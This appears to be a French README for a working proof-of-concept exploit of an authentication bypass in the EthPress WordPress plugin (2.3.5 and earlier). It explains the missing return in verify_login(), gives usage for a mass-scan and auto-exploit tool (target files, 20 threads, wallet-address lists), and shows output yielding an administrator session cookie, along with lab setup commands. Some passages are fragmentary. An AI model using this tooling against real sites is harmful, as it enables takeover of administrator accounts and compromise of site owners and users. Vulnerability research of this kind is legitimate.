
Preuve de concept vérifiée exploitant le contournement d'authentification non authentifié d'EthPress <= 2.3.5, accordant une session d'administrateur WordPress via une adresse de portefeuille.
Preuve de concept fonctionnelle et vérifiée pour le contournement d'authentification par connexion wallet d'EthPress, développée et validée contre le laboratoire localhost X-1.
RAZZ, id utilisateur 1, roles=['administrator']) en utilisant
uniquement une adresse de wallet publique.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (v2.3.5) vérifie la signature du wallet, construit un
WP_Error lorsque la vérification échoue — puis oublie de retourner :
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
L'exécution se poursuit dans le bloc de connexion, Address::log_in() résout l'adresse
de wallet fournie par l'attaquant vers l'utilisateur WordPress qui la possède, et
wp_set_auth_cookie() authentifie cet utilisateur. La réponse est
{"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
| Option | Signification |
|---|---|
-f, --file | fichier d'URLs cibles (une par ligne, commentaires #) pour le scan de masse + auto-exploit |
-t, --threads | nombre de threads de travail concurrents (par défaut 10) |
-o, --output | chemin de sortie/journal, JSON Lines (par défaut cve-2026-19125-results.jsonl) |
-u, --url | URL cible unique (répétable) |
-a, --address | adresse de wallet victime liée à un compte WordPress |
-af, --address-file | fichier d'adresses de wallet candidates |
-k, --private-key | clé privée de l'attaquant en hexadécimal (par défaut : clé aléatoire fraîche par attaque) |
--timeout | délai d'expiration HTTP en secondes (par défaut 20) |
--verify-tls | vérifier les certificats TLS |
-q, --quiet | supprimer les lignes de progression par cible |
requests est la seule dépendance (pip install requests). Toute la cryptographie
Ethereum (Keccak-256, secp256k1, signature RFC 6979, récupération d'adresse) est
implémentée dans poc.py avec la bibliothèque standard uniquement.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php et lire
ethpressLoginWP.loginNonce. C'est un wp_create_nonce('ethpress_log_in')
généré pour une session anonyme (uid=0) et il est donc valide pour l'appel
AJAX non authentifié de l'attaquant lui-même.coinbase soumis. verify2() retourne [false, error] — et la 2.3.5 le
rejette. (Une signature complètement vide fonctionne aussi ; poc.py se
rabat automatiquement dessus.)/wp-admin/,
extraire le nonce REST de la session, et appeler /wp/v2/users/me?context=edit
→ l'id utilisateur réel, le login et les rôles ; plus vérifier l'accès à quatre
écrans réservés aux administrateurs.| Test | Build | Attendu | Observé | Artefact |
|---|---|---|---|---|
| Exploit positif, adresse admin liée | 2.3.5 | prise de contrôle | id=1 RAZZ roles=['administrator'], les 4 capacités admin | results.jsonl, evidence/run-positive.log |
| Contrôle négatif, adresse non liée | 2.3.5 | aucune session | "You have not registered on this site" | results-neg.jsonl |
| Contrôle corrigé, les deux primitives | 2.3.6 | rejeté | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| Reproduction curl brute, sans outillage | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | confirmé |
| Matrice de frontière des entrées de signature | 2.3.5 | mixte | 2 primitives déterministes ; blobs aléatoires ≈50/50 ou HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, adresse non liée | 2.3.5 | nouvelle session abonné | utilisateur 0xAAAA... créé avec le rôle subscriber, connecté (puis supprimé) | evidence/results-registration-open.jsonl |
Reproduire n'importe lequel :
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update écrit exactement la clé de stockage que le propre
Address::create() du plugin écrit (update_user_meta($uid, 'ethpress', $coinbase)), donc
la précondition est provisionnée de manière légitime — aucun affaiblissement artificiel de
la cible.
Les builds de référence pour le diffing se trouvent en dehors du répertoire des plugins :
../_plugin-reference/ethpress/{vulnerable,latest}.
Échanger les versions du plugin sur place pendant qu'Apache continue de tourner laisse
l'ancien bytecode compilé dans OPcache. PHP continue alors d'exécuter les fichiers de la
version précédente ; comme freemius/start.php:584 de la 2.3.6 requiert
freemius/require.php → includes/class-fs-hook-snapshot.php (un fichier qui n'existe que
dans la 2.3.6), le site retournait HTTP 500 même si la 2.3.5 était sur le disque.
lab-switch-version.sh redémarre désormais wp_app après chaque bascule et attend que
/wp-login.php retourne 200. Confirmez toujours la version en cours d'exécution, pas
seulement celle sur le disque.